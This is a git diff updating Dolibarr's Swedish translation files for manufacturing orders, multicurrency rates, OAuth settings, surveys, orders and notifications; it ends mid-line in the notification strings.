b/htdocs/langs/sv_SE/mrp.lang index 9eb01f8e0aa..50130de7aea 100644 --- a/htdocs/langs/sv_SE/mrp.lang +++ b/htdocs/langs/sv_SE/mrp.lang @@ -9,10 +9,10 @@ LatestBOMModified=Senaste %s Modifierade räkningar LatestMOModified=Senaste %s Tillverkningsorder har ändrats Bom=Räkningar av material BillOfMaterials=Bill of Materials -BillOfMaterialsLines=Bill of Materials lines +BillOfMaterialsLines=Rader med stycklistor BOMsSetup=Inställning av modul BOM -ListOfBOMs=Förteckning över materialräkningar - BOM -ListOfManufacturingOrders=Lista över tillverkningsorder +ListOfBOMs=Materiallistor - BOM +ListOfManufacturingOrders=Tillverkningsorder NewBOM=Ny materialförteckning ProductBOMHelp=Produkt som ska skapas (eller tas isär) med denna BOM.
      Obs! Produkter med egenskapen 'Produktens natur' = 'Råvara' syns inte i listan. BOMsNumberingModules=BOM nummereringsmallar @@ -27,12 +27,13 @@ ConfirmCloneBillOfMaterials=Är du säker på att du vill klona materialräkning ConfirmCloneMo=Är du säker på att du vill klona tillverkningsordern %s? ManufacturingEfficiency=Tillverkningseffektivitet ConsumptionEfficiency=Förbrukningseffektivitet -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly +Consumption=Konsumtion +ValueOfMeansLoss=Värdet 0,95 betyder ett genomsnitt på 5%% förlust under tillverkningen eller demonteringen ValueOfMeansLossForProductProduced=Värdet 0,95 betyder i genomsnitt 5%% förlust av producerad produkt DeleteBillOfMaterials=Ta bort materiallista DeleteMo=Ta bort tillverkningsorder ConfirmDeleteBillOfMaterials=Är du säker på att du vill ta bort detta material? -ConfirmDeleteMo=Are you sure you want to delete this Manufacturing Order? +ConfirmDeleteMo=Är du säker på att du vill ta bort denna tillverkningsorder? MenuMRP=Tillverkningsorder NewMO=Ny tillverkningsorder QtyToProduce=Antal att producera @@ -56,7 +57,7 @@ WarehouseForProduction=Lager för produktion CreateMO=Skapa MO ToConsume=Att konsumera ToProduce=Att producera -ToObtain=To obtain +ToObtain=För att uppnå QtyAlreadyConsumed=Antal redan förbrukat QtyAlreadyProduced=Antal redan producerat QtyRequiredIfNoLoss=Antal krävs om det inte finns någon förlust (Tillverkningseffektiviteten är 100%%) @@ -69,17 +70,20 @@ ForAQuantityToConsumeOf=För en kvantitet att ta isär %s ConfirmValidateMo=Är du säker på att du vill validera denna tillverkningsorder? ConfirmProductionDesc=Genom att klicka på '%s' validerar du förbrukningen och / eller produktionen för de angivna kvantiteterna. Detta kommer också att uppdatera lager och registrera lagerrörelser. ProductionForRef=Produktion av %s +CancelProductionForRef=Annullering av produktlagerminskning för produkt %s +TooltipDeleteAndRevertStockMovement=Ta bort rad och återställ lagerrörelse AutoCloseMO=Stäng automatiskt tillverkningsordern om kvantiteter att konsumera och producera uppnås NoStockChangeOnServices=Ingen lagerförändring på tjänsterna ProductQtyToConsumeByMO=Produktkvantitet som fortfarande ska konsumeras av öppen MO ProductQtyToProduceByMO=Produktkvantitet som fortfarande produceras av öppen MO AddNewConsumeLines=Lägg till en ny rad att konsumera -AddNewProduceLines=Add new line to produce +AddNewProduceLines=Lägg till ny linje att producera ProductsToConsume=Produkter att konsumera ProductsToProduce=Produkter att producera UnitCost=Enhetskostnad TotalCost=Total kostnad BOMTotalCost=Kostnaden för att producera den här stycklistan baserat på kostnaden för varje kvantitet och produkt som ska konsumeras (använd kostpris om det är definierat, annars medelviktat pris om det är definierat, annars det bästa inköpspriset) +BOMTotalCostService=Om modulen "Workstation" är aktiverad och en arbetsstation är definierad som standard på linjen, så är beräkningen "kvantitet (omräknat till timmar) x arbetsstation ahr", annars "kvantitet (omvandlat till timmar) x kostnad för tjänsten" GoOnTabProductionToProduceFirst=Du måste först ha startat produktionen för att stänga en tillverkningsorder (se fliken '%s'). Men du kan avbryta det. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Ett kit kan inte användas i en BOM eller en MO Workstation=Arbetsstation @@ -98,12 +102,20 @@ NbOperatorsRequired=Antal operatörer som krävs THMOperatorEstimated=Uppskattad operatör THM THMMachineEstimated=Beräknad maskin THM WorkstationType=Arbetsstationstyp +DefaultWorkstation=Standard arbetsstation Human=Mänsklig Machine=Maskin HumanMachine=Människa / maskin WorkstationArea=Arbetsstationsområde Machines=Maskiner THMEstimatedHelp=Denna hastighet gör det möjligt att definiera en prognoskostnad för artikeln -BOM=Bill Of Materials -CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module -MOAndLines=Manufacturing Orders and lines +BOM=Materialförteckning +CollapseBOMHelp=Du kan definiera standardvisningen av uppgifterna i nomenklaturen i konfigurationen av BOM-modulen +MOAndLines=Tillverkning av order och linjer +MoChildGenerate=Generera barn-tillverkningsorder +ParentMo=MO förälder +MOChild=MO barn +BomCantAddChildBom=Nomenklaturen %s finns redan i trädet som leder till nomenklaturen %s +BOMNetNeeds = BOM nettobehov +BOMProductsList=BOMs produkter +BOMServicesList=BOM:s tjänster diff --git a/htdocs/langs/sv_SE/multicurrency.lang b/htdocs/langs/sv_SE/multicurrency.lang index 1f479e7626c..6e69efb8a4a 100644 --- a/htdocs/langs/sv_SE/multicurrency.lang +++ b/htdocs/langs/sv_SE/multicurrency.lang @@ -1,38 +1,38 @@ # Dolibarr language file - Source file is en_US - multicurrency MultiCurrency=Flera valutor -ErrorAddRateFail=Fel i tilläggspris -ErrorAddCurrencyFail=Fel i tilläggsvaluta +ErrorAddRateFail=Fel i tillagt pris +ErrorAddCurrencyFail=Fel i tillagd valuta ErrorDeleteCurrencyFail=Radering misslyckades multicurrency_syncronize_error=Synkroniseringsfel: %s -MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Använd datumet för dokumentet för att hitta valutakursen istället för att använda den senast kända kursen -multicurrency_useOriginTx=När ett objekt skapas från en annan, behåll originalfrekvensen från källobjektet (använd annars den senast kända kursen) +MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Använd datumet för dokumentet för att hitta valutakursen istället för att använda den senaste kursen +multicurrency_useOriginTx=När ett objekt skapas från en annan, behåll originalkursen från källobjektet (använd annars den senast kända kursen) CurrencyLayerAccount=CurrencyLayer API -CurrencyLayerAccount_help_to_synchronize=Du måste skapa ett konto på webbplatsen %s för att kunna använda denna funktion.
      Skaffa din API-nyckel .
      Om du använder ett gratis konto kan du inte ändra källvaluta (USD som standard).
      Om din huvudvaluta inte är USD beräknar applikationen den automatiskt.

      Du är begränsad till 1000 synkroniseringar per månad. +CurrencyLayerAccount_help_to_synchronize=Du måste skapa ett konto på webbplatsen %s för att kunna använda denna funktion.
      Skaffa din API-nyckel.
      Om du använder ett gratis konto kan du inte ändra källvaluta (USD som standard).
      Om din huvudvaluta inte är USD beräknar applikationen den automatiskt.

      Du är begränsad till 1000 synkroniseringar per månad. multicurrency_appId=API-nyckel multicurrency_appCurrencySource=Grundvaluta multicurrency_alternateCurrencySource=Alternativ grundvaluta CurrenciesUsed=Valutor som används -CurrenciesUsed_help_to_add=Lägg till de olika valutorna och priserna du behöver använda på dina förslag , beställer etc. -rate=Betygsätta +CurrenciesUsed_help_to_add=Lägg till de olika valutorna och priserna du behöver använda i dina offerter, ordererkännande etc. +rate=kurs MulticurrencyReceived=Mottagen, ursprunglig valuta MulticurrencyRemainderToTake=Återstående belopp, ursprunglig valuta MulticurrencyPaymentAmount=Betalningsbelopp, ursprunglig valuta -AmountToOthercurrency=Belopp till (i valuta för mottagande konto) -CurrencyRateSyncSucceed=Växlingskurssynkronisering klar. +AmountToOthercurrency=Konverterat till (i valuta för mottagande konto) +CurrencyRateSyncSucceed=Synkronisering av valutakurs klar. MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=Använd dokumentets valuta för onlinebetalningar -TabTitleMulticurrencyRate=Kurslista -ListCurrencyRate=Lista över valutakurser för valutan +TabTitleMulticurrencyRate=Lista valutakurser +ListCurrencyRate=Lista över kurser för valutan CreateRate=Skapa en kurs -FormCreateRate=Betygsätt skapande -FormUpdateRate=Rate modifiering +FormCreateRate=Skapa en kurs +FormUpdateRate=Ändra en kurs successRateCreate=Kurs för valuta %s har lagts till i databasen -ConfirmDeleteLineRate=Är du säker på att du vill ta bort %s-kursen för valuta %s på %s-datum? +ConfirmDeleteLineRate=Är du säker på att du vill ta bort kursen %s för valutan %s på datumet %s? DeleteLineRate=Rensa kurs successRateDelete=Kurs borttagen errorRateDelete=Fel vid borttagning av kurs successUpdateRate=Ändring gjord ErrorUpdateRate=Fel vid ändring av kurs -Codemulticurrency=Valutakod -UpdateRate=Ändra kursen -CancelUpdate=Avbryt +Codemulticurrency=valutakurs +UpdateRate=ändra kurs +CancelUpdate=avbryt NoEmptyRate=Fältet "kurs" kan inte vara tomt diff --git a/htdocs/langs/sv_SE/oauth.lang b/htdocs/langs/sv_SE/oauth.lang index 6da92f06dcc..bcb8c8b56a5 100644 --- a/htdocs/langs/sv_SE/oauth.lang +++ b/htdocs/langs/sv_SE/oauth.lang @@ -1,36 +1,41 @@ # Dolibarr language file - Source file is en_US - oauth ConfigOAuth=OAuth-konfiguration -OAuthServices=OAuth Services -ManualTokenGeneration=Manuell token generation -TokenManager=Token Manager +OAuthServices=OAuth-tjänster +ManualTokenGeneration=Generera token manuellt +TokenManager=Hantera tokens IsTokenGenerated=Genereras token? NoAccessToken=Ingen åtkomsttoken sparas i den lokala databasen HasAccessToken=En token genererades och sparades i den lokala databasen NewTokenStored=Token mottagen och sparad -ToCheckDeleteTokenOnProvider=Klicka här för att kontrollera / radera behörighet som sparats av %s OAuth-leverantören +ToCheckDeleteTokenOnProvider=Klicka här för att kontrollera/radera behörighet som sparats av OAuth-leverantören %s TokenDeleted=Token raderad -RequestAccess=Click here to request/renew access and receive a new token -DeleteAccess=Click here to delete token -UseTheFollowingUrlAsRedirectURI=Använd följande URL-adress som omdirigerings-URI när du skapar dina uppgifter med din OAuth-leverantör: -ListOfSupportedOauthProviders=Add your OAuth2 token providers. Then, go on your OAuth provider admin page to create/get an OAuth ID and Secret and save them here. Once done, switch on the other tab to generate your token. -OAuthSetupForLogin=Page to manage (generate/delete) OAuth tokens +GetAccess=Klicka här för att få en token +RequestAccess=Klicka här för att begära/förnya åtkomst och få en ny token +DeleteAccess=Klicka här för att ta bort token +UseTheFollowingUrlAsRedirectURI=Använd följande URL som omdirigerings-URI när du skapar dina uppgifter med din OAuth-leverantör: +ListOfSupportedOauthProviders=Lägg till dina OAuth2-tokenleverantörer. Gå sedan till din OAuth-leverantörs adminsida för att skapa/skaffa ett OAuth-ID och hemlighet och spara dem här. När du är klar, växla till den andra fliken för att generera din token. +OAuthSetupForLogin=Sida för att hantera (generera/ta bort) OAuth-tokens SeePreviousTab=Se föregående flik -OAuthProvider=OAuth provider -OAuthIDSecret=OAuth ID och Secret -TOKEN_REFRESH=Token Refresh Present +OAuthProvider=OAuth-leverantör +OAuthIDSecret=OAuth ID och hemlig nyckel +TOKEN_REFRESH=Förnya token TOKEN_EXPIRED=Token utgått TOKEN_EXPIRE_AT=Token upphör att gälla vid TOKEN_DELETE=Radera sparade token OAUTH_GOOGLE_NAME=OAuth Google-tjänst OAUTH_GOOGLE_ID=OAuth Google Id -OAUTH_GOOGLE_SECRET=OAuth Google Secret -OAUTH_GITHUB_NAME=OAuth GitHub service +OAUTH_GOOGLE_SECRET=OAuth Google hemlig +OAUTH_GITHUB_NAME=OAuth GitHub tjänst OAUTH_GITHUB_ID=OAuth GitHub Id -OAUTH_GITHUB_SECRET=OAuth GitHub Secret -OAUTH_URL_FOR_CREDENTIAL=Go to this page to create or get your OAuth ID and Secret +OAUTH_GITHUB_SECRET=OAuth GitHub hemlig +OAUTH_URL_FOR_CREDENTIAL=Gå till den här sidan för att skapa eller få ditt OAuth-ID och hemlig nyckel OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Strip Live -OAUTH_ID=OAuth ID -OAUTH_SECRET=OAuth secret -OAuthProviderAdded=OAuth provider added -AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=An OAuth entry for this provider and label already exists +OAUTH_ID=OAuth-klient-ID +OAUTH_SECRET=OAuth hemlig nyckel +OAUTH_TENANT=OAuth innehavare +OAuthProviderAdded=OAuth-leverantör har lagts till +AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=En OAuth-post för den här leverantören och etiketten finns redan +URLOfServiceForAuthorization=URL tillhandahållen av OAuth-tjänsten för autentisering +Scopes=Behörigheter (omfång) +ScopeUndefined=Behörigheter (omfång) odefinierade (se föregående flik) diff --git a/htdocs/langs/sv_SE/opensurvey.lang b/htdocs/langs/sv_SE/opensurvey.lang index 50c6debd8d2..4ca3e2be953 100644 --- a/htdocs/langs/sv_SE/opensurvey.lang +++ b/htdocs/langs/sv_SE/opensurvey.lang @@ -48,8 +48,8 @@ AddEndHour=Lägg till slut tid votes=röst (er) NoCommentYet=Inga kommentarer har lagts till den här omröstningen ännu CanComment=Väljarna kan kommentera i omröstningen -YourVoteIsPrivate=This poll is private, nobody can see your vote. -YourVoteIsPublic=This poll is public, anybody with the link can see your vote. +YourVoteIsPrivate=Den här omröstningen är privat, ingen kan se din röst. +YourVoteIsPublic=Den här omröstningen är offentlig, alla med länken kan se din röst. CanSeeOthersVote=Väljarna kan se andra människors röst SelectDayDesc=För varje vald dag kan du välja, eller inte, mötes timmar i följande format:
      - tom,
      - "8h", "8H" eller "8:00" för att ge ett mötes starttid,
      - "8- 11 "," 8h-11h "," 8h-11h "eller" 8: 00-11: 00 "för att ge ett mötes start- och sluttid,
      -" 8h15-11h15 "," 8H15-11H15 "eller" 8: 15-11: 15 "för samma sak men med minuter. BackToCurrentMonth=Tillbaka till aktuella månaden diff --git a/htdocs/langs/sv_SE/orders.lang b/htdocs/langs/sv_SE/orders.lang index fc7f7d3ca19..756721294c5 100644 --- a/htdocs/langs/sv_SE/orders.lang +++ b/htdocs/langs/sv_SE/orders.lang @@ -1,23 +1,24 @@ # Dolibarr language file - Source file is en_US - orders -OrdersArea=Kunders ordrar +OrderExists=En beställning var redan öppen länkad till detta förslag, så ingen annan beställning skapades automatiskt +OrdersArea=Kundordrar SuppliersOrdersArea=Inköpsordrar -OrderCard=Beställ kort +OrderCard=Orderkort OrderId=Order Id -Order=Beställ -PdfOrderTitle=Beställ -Orders=Beställningar +Order=Order +PdfOrderTitle=Order +Orders=Ordrar OrderLine=Orderrad -OrderDate=Beställ datum -OrderDateShort=Beställ datum -OrderToProcess=Att kunna bearbeta +OrderDate=Orderdatum +OrderDateShort=Orderdatum +OrderToProcess=Order att hantera NewOrder=Ny order NewSupplierOrderShort=Ny order NewOrderSupplier=Ny inköpsorder -ToOrder=Gör så -MakeOrder=Gör så +ToOrder=Acceptera order +MakeOrder=Acceptera order SupplierOrder=Inköpsorder -SuppliersOrders=Beställning -SaleOrderLines=Sales order lines +SuppliersOrders=Inköpsordrar +SaleOrderLines=Försäljningsorderrader PurchaseOrderLines=Inköpsorderrader SuppliersOrdersRunning=Nuvarande köporder CustomerOrder=Kundorder @@ -28,58 +29,60 @@ OrdersDeliveredToBill=Försäljningsorder levereras till faktura OrdersToBill=Försäljningsorder levereras OrdersInProcess=Försäljningsorder pågår OrdersToProcess=Försäljningsorder att bearbeta -SuppliersOrdersToProcess=Köp beställningar att bearbeta +SuppliersOrdersToProcess=Inköpsordrar att hantera SuppliersOrdersAwaitingReception=Inköpsorder som väntar på mottagning AwaitingReception=Väntar på mottagning StatusOrderCanceledShort=Annullerad -StatusOrderDraftShort=Förslag +StatusOrderDraftShort=Utkast StatusOrderValidatedShort=Bekräftat -StatusOrderSentShort=I processen +StatusOrderSentShort=Pågår StatusOrderSent=Sändning pågår StatusOrderOnProcessShort=Beställda -StatusOrderProcessedShort=Bearbetade -StatusOrderDelivered=Till Bill -StatusOrderDeliveredShort=Till Bill -StatusOrderToBillShort=Till Bill +StatusOrderProcessedShort=Hanterade +StatusOrderDelivered=Levererad +StatusOrderDeliveredShort=Levererad +StatusOrderToBillShort=Levererad StatusOrderApprovedShort=Godkänd -StatusOrderRefusedShort=Refused -StatusOrderToProcessShort=För att kunna behandla +StatusOrderRefusedShort=Nekad +StatusOrderToProcessShort=Att hantera StatusOrderReceivedPartiallyShort=Delvis fått -StatusOrderReceivedAllShort=Mottagna produkter +StatusOrderReceivedAllShort=Produkter har mottagits StatusOrderCanceled=Annullerad StatusOrderDraft=Utkast (måste bekräftas) StatusOrderValidated=Bekräftat -StatusOrderOnProcess=Beställda, väntar på inleverans -StatusOrderOnProcessWithValidation=Beställd - Avvakter mottagning eller bekräftande -StatusOrderProcessed=Bearbetade -StatusOrderToBill=Till Bill +StatusOrderOnProcess=Beställd, väntar på inleverans +StatusOrderOnProcessWithValidation=Beställd - Avvaktar inleverans eller bekräftande +StatusOrderProcessed=Hanterade +StatusOrderToBill=Levererad StatusOrderApproved=Godkänd StatusOrderRefused=Refused StatusOrderReceivedPartially=Delvis fått StatusOrderReceivedAll=Alla produkter mottagna -ShippingExist=En sändning föreligger +ShippingExist=En sändning finns QtyOrdered=Antal beställda -ProductQtyInDraft=Produktmängd till beställningsutkast +ProductQtyInDraft=Produktmängd till orderutkast ProductQtyInDraftOrWaitingApproved=Produktmnängd till beställningsutkast eller godkända beställningar, ännu ej lagda -MenuOrdersToBill=Order till faktura +MenuOrdersToBill=Skickade ordrar MenuOrdersToBill2=Fakturerbara order -ShipProduct=Ship produkt +ShipProduct=Skicka produkt CreateOrder=Skapa order -RefuseOrder=Vägra att -ApproveOrder=Godkänn beställning +RefuseOrder=Neka order +ApproveOrder=Godkänn ordern Approve2Order=Godkänn order (andra nivån) -ValidateOrder=Verifiera att +UserApproval=Användare för godkännande +UserApproval2=Användare för godkännande (andra nivå) +ValidateOrder=Bekräfta ordern UnvalidateOrder=Märka ordrar från bekräftat->utkast DeleteOrder=Radera order -CancelOrder=Avbryt för +CancelOrder=Annullera ordern OrderReopened= Order %s återöppnad AddOrder=Skapa order AddSupplierOrderShort=Skapa order AddPurchaseOrder=Skapa inköpsorder -AddToDraftOrders=Lägg till förlags order -ShowOrder=Visa att -OrdersOpened=Beställer att bearbeta -NoDraftOrders=Inga förslag till beslut +AddToDraftOrders=Lägg till orderutkast +ShowOrder=Visa ordern +OrdersOpened=Ordrar att hantera +NoDraftOrders=Inga orderutkast finns NoOrder=Ingen order NoSupplierOrder=Ingen inköpsorder LastOrders=Senaste %s försäljningsorder @@ -88,13 +91,17 @@ LastSupplierOrders=Senaste %s inköpsorder LastModifiedOrders=Senaste %s ändrade order AllOrders=Alla order NbOfOrders=Antal order -OrdersStatistics=Beställ statistik -OrdersStatisticsSuppliers=Beställningsstatistik -NumberOfOrdersByMonth=Antal beställningar per månad +OrdersStatistics=Orderstatistik +OrdersStatisticsSuppliers=Inköpsorderstatistik +NumberOfOrdersByMonth=Antal ordrar per månad AmountOfOrdersByMonthHT=Antal order per månad (exkl. Skatt) -ListOfOrders=Lista över beställningar +ListOfOrders=Lista över ordrar +ListOrderLigne=Orderrader +productobuy=Endast produkter att köpa +productonly=Endast produkter +disablelinefree=Inga linjer lediga CloseOrder=Stäng order -ConfirmCloseOrder=Är du säker på att du vill ställa in den här beställningen att levereras? När en beställning har levererats kan den ställas in för fakturering. +ConfirmCloseOrder=Är du säker på att du vill ändra den här order till levererad? När en order har levererats kan den fakturas. ConfirmDeleteOrder=Är du säker på att du vill radera den här beställningen? ConfirmValidateOrder=Är du säker på att du vill bekräfta denna order under namnet %s ? ConfirmUnvalidateOrder=Är du säker på att du vill återställa ordningen %s till utkastsstatus? @@ -102,12 +109,14 @@ ConfirmCancelOrder=Är du säker på att du vill avbryta denna order? ConfirmMakeOrder=Är du säker på att du vill bekräfta att du har gjort denna order på %s ? GenerateBill=Skapa faktura ClassifyShipped=Märk levererad +PassedInShippedStatus=markerad levererad +YouCantShipThis=Jag kan inte klassificera det här. Kontrollera användarens behörigheter DraftOrders=Förslag till beslut -DraftSuppliersOrders=Utkast till beställningar +DraftSuppliersOrders=Inköpsorderutkast OnProcessOrders=I processen order RefOrder=Ref. För -RefCustomerOrder=Ref. beställning för kund -RefOrderSupplier=Ref. beställning för leverantör +RefCustomerOrder=Kundordernummer +RefOrderSupplier=Leverantörordernummer RefOrderSupplierShort=Ref. orderleverantör SendOrderByMail=Skicka beställningen per post ActionsOnOrder=Åtgärder för att @@ -116,7 +125,7 @@ OrderMode=Beställ metod AuthorRequest=Begär författare UserWithApproveOrderGrant=Användare som beviljats med "godkänna order"-behörighet. PaymentOrderRef=Betalning av att %s -ConfirmCloneOrder=Är du säker på att du vill klona denna beställning %s ? +ConfirmCloneOrder=Är du säker på att du vill klona denna order %s ? DispatchSupplierOrder=Ta emot inköpsorder %s FirstApprovalAlreadyDone=Första godkännande redan gjort SecondApprovalAlreadyDone=Andra godkännande redan gjort @@ -124,8 +133,9 @@ SupplierOrderReceivedInDolibarr=Beställningsorder %s fick %s SupplierOrderSubmitedInDolibarr=Beställningsnummer %s skickat SupplierOrderClassifiedBilled=Beställningsorder %s set fakturerad OtherOrders=Övriga beställningar -SupplierOrderValidatedAndApproved=Supplier order is validated and approved : %s -SupplierOrderValidated=Supplier order is validated : %s +SupplierOrderValidatedAndApproved=Leverantörsorder är validerad och godkänd: %s +SupplierOrderValidated=Leverantörsorder är validerad: %s +OrderShowDetail=Visa beställningsdetaljer ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Representativ uppföljningsordern TypeContact_commande_internal_SHIPPING=Representanten uppföljning sjöfart @@ -153,7 +163,7 @@ PDFEdisonDescription=En enkel ordermodell PDFProformaDescription=Fullständig Proforma fakturaamll CreateInvoiceForThisCustomer=Faktura order CreateInvoiceForThisSupplier=Faktura order -CreateInvoiceForThisReceptions=Bill receptions +CreateInvoiceForThisReceptions=Räkningsmottagningar NoOrdersToInvoice=Inga order fakturerbar CloseProcessedOrdersAutomatically=Märk "bearbetade" alla valda order. OrderCreation=Order skapning @@ -186,7 +196,7 @@ StatusSupplierOrderReceivedAllShort=Produkter mottagna StatusSupplierOrderCanceled=Annullerad StatusSupplierOrderDraft=Utkast (måste bekräftas) StatusSupplierOrderValidated=Bekräftade -StatusSupplierOrderOnProcess=Beställda, väntar på inleverans +StatusSupplierOrderOnProcess=Beställd, väntar på inleverans StatusSupplierOrderOnProcessWithValidation=Beställd - Avvakter mottagning eller bekräftande StatusSupplierOrderProcessed=Bearbetad StatusSupplierOrderToBill=Till Bill @@ -194,3 +204,5 @@ StatusSupplierOrderApproved=Godkänd StatusSupplierOrderRefused=Refused StatusSupplierOrderReceivedPartially=Delvis fått StatusSupplierOrderReceivedAll=Alla produkter mottagna +NeedAtLeastOneInvoice = Det måste finnas minst en faktura +LineAlreadyDispatched = Orderraden är redan mottagen. diff --git a/htdocs/langs/sv_SE/other.lang b/htdocs/langs/sv_SE/other.lang index c849acbea45..e5314d5c7d6 100644 --- a/htdocs/langs/sv_SE/other.lang +++ b/htdocs/langs/sv_SE/other.lang @@ -1,148 +1,150 @@ # Dolibarr language file - Source file is en_US - other SecurityCode=Säkerhetskod -NumberingShort=N ° +NumberingShort=N Tools=Verktyg TMenuTools=Verktyg ToolsDesc=Alla verktyg som inte ingår i andra menyposter grupperas här.
      Alla verktyg kan nås via menyn till vänster. Birthday=Födelsedag -BirthdayAlertOn=födelsedag alert aktiva -BirthdayAlertOff=födelsedag alert inaktiv +BirthdayAlertOn=födelsedagsalarm aktivt +BirthdayAlertOff=födelsedagsalarm inaktivt TransKey=Översättning av nyckel: TransKey MonthOfInvoice=Månad (nummer 1-12) på fakturadatum TextMonthOfInvoice=Månad (text) på fakturadatum PreviousMonthOfInvoice=Föregående månad (nummer 1-12) på fakturadatum TextPreviousMonthOfInvoice=Föregående månad (text) på fakturadatum -NextMonthOfInvoice=Följande månad (nummer 1-12) på fakturadatum -TextNextMonthOfInvoice=Följande månad (text) på fakturadatum +NextMonthOfInvoice=Kommande månad (nummer 1-12) på fakturadatum +TextNextMonthOfInvoice=Kommande månad (text) på fakturadatum PreviousMonth=Föregående månad CurrentMonth=Nuvarande månad -ZipFileGeneratedInto=Zip-fil genererad till %s . -DocFileGeneratedInto=Doc-filen genereras till %s . +ZipFileGeneratedInto=Zip-fil genererad i %s. +DocFileGeneratedInto=Doc-fil genererad i %s. JumpToLogin=Förbindelse förlorad. Gå till inloggningssidan ... -MessageForm=Meddelande på onlinebetalningsformulär -MessageOK=Meddelande på retursidan för en bekräftat betalning -MessageKO=Meddelande på retursidan för en avbokad betalning -ContentOfDirectoryIsNotEmpty=Innehållet i den här katalogen är inte tomt. -DeleteAlsoContentRecursively=Kontrollera att allt innehåll rekursivt raderas -PoweredBy=Körs av +MessageForm=Meddelande på formulär för onlinebetalning +MessageOK=Meddelande på retursidan för en bekräftad betalning +MessageKO=Meddelande på retursidan för en avbruten betalning +ContentOfDirectoryIsNotEmpty=Denna katalog har innehåll i sig. +DeleteAlsoContentRecursively=Markera för att radera allt innehåll. +PoweredBy=Drivs med YearOfInvoice=År för fakturadatum PreviousYearOfInvoice=Föregående år av fakturadatum NextYearOfInvoice=Följande år med fakturadatum -DateNextInvoiceBeforeGen=Datum för nästa faktura (före generationen) -DateNextInvoiceAfterGen=Datum för nästa faktura (efter generation) -GraphInBarsAreLimitedToNMeasures=Grapics är begränsade till mått %s i 'Bars' -läge. Läget "Linjer" valdes automatiskt istället. +DateNextInvoiceBeforeGen=Datum för nästa faktura (före skapande) +DateNextInvoiceAfterGen=Datum för nästa faktura (efter skapande) +GraphInBarsAreLimitedToNMeasures=Grapics är begränsade till mått %s i 'Bars' -läge. Läget "Lines" valdes automatiskt istället. OnlyOneFieldForXAxisIsPossible=Enbart 1 fält är möjligt i X-axeln. Bara det första markerade fältet har valts. -AtLeastOneMeasureIsRequired=Minst 1 fält är obligatiskt +AtLeastOneMeasureIsRequired=Minst 1 fält för mått är obligatiskt AtLeastOneXAxisIsRequired=Minst 1 fält för X-axeln är obligatirskt LatestBlogPosts=Senaste blogginlägg -notiftouser=To users -notiftofixedemail=To fixed mail -notiftouserandtofixedemail=To user and fixed mail -Notify_ORDER_VALIDATE=Försäljningsorder bekräftat -Notify_ORDER_SENTBYMAIL=Försäljningsorder skickad via post -Notify_ORDER_SUPPLIER_SENTBYMAIL=Beställningsorder skickad via e-post -Notify_ORDER_SUPPLIER_VALIDATE=Beställningsorder registrerad -Notify_ORDER_SUPPLIER_APPROVE=Köporder godkänd -Notify_ORDER_SUPPLIER_REFUSE=Inköpsorder nekades -Notify_PROPAL_VALIDATE=Kunden förslag bekräftades -Notify_PROPAL_CLOSE_SIGNED=Kundförslaget är undertecknat -Notify_PROPAL_CLOSE_REFUSED=Kundförslaget stängdes vägrade -Notify_PROPAL_SENTBYMAIL=Kommersiell förslag skickas per post -Notify_WITHDRAW_TRANSMIT=Överföring tillbakadragande -Notify_WITHDRAW_CREDIT=Credit tillbakadragande -Notify_WITHDRAW_EMIT=Isue tillbakadragande -Notify_COMPANY_CREATE=Tredje part som skapats -Notify_COMPANY_SENTBYMAIL=Post som skickas från tredjepartskort -Notify_BILL_VALIDATE=Kundfaktura bekräftades -Notify_BILL_UNVALIDATE=Kundfakturan Fraktpris saknas -Notify_BILL_PAYED=Kundfaktura betalad -Notify_BILL_CANCEL=Kundfaktura avbryts -Notify_BILL_SENTBYMAIL=Kundfaktura skickas per post -Notify_BILL_SUPPLIER_VALIDATE=Leverantörsfaktura bekräftat +notiftouser=Till användare +notiftofixedemail=Till fast e-postadress +notiftouserandtofixedemail=Till användare och fast e-postadress +Notify_ORDER_VALIDATE=Order bekräftad +Notify_ORDER_SENTBYMAIL=Ordererkännande skickad +Notify_ORDER_SUPPLIER_SENTBYMAIL=Inköpsorder skickad via e-post +Notify_ORDER_SUPPLIER_VALIDATE=Order registrerad +Notify_ORDER_SUPPLIER_APPROVE=Inköpsorder godkänd +Notify_ORDER_SUPPLIER_REFUSE=Inköpsorder avslogs +Notify_PROPAL_VALIDATE=Offert bekräftades +Notify_PROPAL_CLOSE_SIGNED=Offert signerad +Notify_PROPAL_CLOSE_SIGNED_WEB=Kundförslag stängt signerat på portalsidan +Notify_PROPAL_CLOSE_REFUSED=Offert nekad och stängd +Notify_PROPAL_CLOSE_REFUSED_WEB=Kundförslaget stängt nekades på portalsidan +Notify_PROPAL_SENTBYMAIL=Offert skickad +Notify_WITHDRAW_TRANSMIT=Överföring drogs tillbaka +Notify_WITHDRAW_CREDIT=Kredit drogs tillbaka +Notify_WITHDRAW_EMIT=Proforma drogs tillbaka +Notify_COMPANY_CREATE=Tredjepart skapad +Notify_COMPANY_SENTBYMAIL=E-post som skickats från tredjepartskort +Notify_BILL_VALIDATE=Faktura bekräftad +Notify_BILL_UNVALIDATE=Faktura obekräftad +Notify_BILL_PAYED=Faktura betald +Notify_BILL_CANCEL=Faktura avbruten +Notify_BILL_SENTBYMAIL=Faktura skickad +Notify_BILL_SUPPLIER_VALIDATE=Leverantörsfaktura bekräftad Notify_BILL_SUPPLIER_PAYED=Leverantörsfaktura betalad -Notify_BILL_SUPPLIER_SENTBYMAIL=Leverantörsfaktura skickad via post -Notify_BILL_SUPPLIER_CANCELED=Leverantörsfaktura inställd -Notify_CONTRACT_VALIDATE=Kontrakt bekräftades -Notify_FICHINTER_VALIDATE=Intervention bekräftades -Notify_FICHINTER_ADD_CONTACT=Tillagd kontakt till insats -Notify_FICHINTER_SENTBYMAIL=Ingripande skickas per post -Notify_SHIPPING_VALIDATE=Frakt bekräftades -Notify_SHIPPING_SENTBYMAIL=Leverans skickas per post -Notify_MEMBER_VALIDATE=Medlem bekräftades -Notify_MEMBER_MODIFY=Medlem modifierad -Notify_MEMBER_SUBSCRIPTION=Medlem 